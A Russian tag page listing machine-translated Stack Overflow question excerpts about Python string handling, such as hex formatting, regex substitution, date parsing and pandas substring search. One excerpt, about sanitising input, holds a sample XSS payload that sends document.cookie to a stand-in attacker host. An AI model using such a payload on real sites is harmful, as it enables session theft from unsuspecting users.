Tag: строка

шестнадцатеричное преобразование форматирования строки в python

Я использовал генерацию случайной строки следующим образом (теперь я переключился на этот метод ). key = '%016x' % random.getrandbits(128) Ключ, созданный таким образом, чаще всего является строкой из 32 символов, но как только у меня есть 31 символ. Это то, чего я не понимаю: почему это 32 символа, а не 16 ? Разве не одна […]

Unicode re.sub () не работает с \ g <0> (группа 0)

Почему \g<0> работает с регулярным выражением unicode? Когда я пытался использовать \g<0> для вставки пробела до и после группы с обычным регулярным выражением, он работает: >>> punct = """,.:;!@#$%^&*(){}{}|\/?><"'""" >>> rx = re.compile('[%s]' % re.escape(punct)) >>> text = '''"anständig"''' >>> rx.sub(r" \g<0> ",text) ' " anst\xc3\xa4ndig " ' >>> print rx.sub(r" \g<0> ",text) " anständig […]

Почему функция не работает? Попытка заменить слова в строке

Я пытаюсь заменить некоторые ключевые слова в строке. Вот моя функция: def clean_code(input): input.replace('<script>', " ") input.replace('</script>', " ") input.replace('<a href>', " ") input.replace('</a>', " ") input.replace('>', "&gt;") input.replace('>', "&lt;") return input и вот мой другой код и строка: string1 = "This blog is STUPID! >\n" \ "<script>document.location='http://some_attacker/cookie.cgi?"\ " +document.cookie </script>" print '\nstring1 cleaned of […]

Python эквивалент Ruby's StringScanner?

Существует ли класс python, эквивалентный классу Ruby StringScanner ? Я мог бы взломать что-то вместе, но я не хочу изобретать велосипед, если это уже существует.

Получение даты из сложной строки в Python

Я пытаюсь получить одно datetime из двух строк, используя datetime.strptime. Время довольно легко (например, 8:53 вечера), поэтому я могу сделать что-то вроде: theTime = datetime.strptime(givenTime, "%I:%M%p") Однако строка имеет не только дату, но и ссылку в формате, аналогичном http://site.com/?year=2011&month=10&day=5&hour=11 . Я знаю, что могу сделать что-то вроде: theDate = datetime.strptime(givenURL, "http://site.com/?year=%Y&month=%m&day=%d&hour=%H") но я не хочу […]

Копирование с числовой строкой

Модуль numpy – отличный инструмент для эффективного хранения памяти объектов python, среди которых строки. Для строк ANSI в массивах numpy используется только 1 байт на символ. Однако есть одно неудобство. Тип хранимых объектов – это не больше string а bytes , что означает, что их необходимо декодировать для дальнейшего использования в большинстве случаев, что, в […]

Печатать исходный код веб-страницы в python

Я хочу напечатать исходный код веб-страницы, но команда python print просто печатает пустое пространство, и я думаю, что это из-за большого размера. Есть ли способ распечатать исходный код страницы в оболочке или в списке в файле? Я пробовал печатать в файле, но эта ошибка произошла: UnicodeEncodeError: 'charmap' codec can't encode character '\u06cc' in position 11826: […]

Поиск столбца Pandas для подстроки в другом столбце

У меня есть пример .csv, импортированный как df.csv, следующим образом: Ethnicity, Description 0 French, Irish Dance Company 1 Italian, Moroccan/Algerian 2 Danish, Company in Netherlands 3 Dutch, French 4 English, EnglishFrench 5 Irish, Irish-American Я хотел бы проверить pandas test1['Description'] для строк в test1['Ethnicity'] . Это должно возвращать строки 0, 3, 4 и 5, поскольку […]

регулярное выражение python, вставляющее пробел между пунктуацией и буквами

Я предполагаю, что лучший способ сделать это – с регулярным выражением, но я не знаю, как это сделать. Я пытаюсь разобрать строку и помещать пробел между буквами и пунктуацией. Я хочу держать знаки препинания вместе. В качестве примера, если у меня есть строка "да!!!" Я хочу в итоге "да", "!!!". Если у меня есть строка […]

для подсчета появления одной строки в другой строке в python

Если это первая строка: ABCD если это вторая строка: ABCD is ABCD Я хочу подсчитать появление первой строки во второй строке и это тоже в python. Как я могу это сделать? Я новичок в python, поэтому сталкиваюсь с некоторыми проблемами. Может ли кто-нибудь сказать мне решение или предоставить код для него.

Python - лучший язык программирования в мире.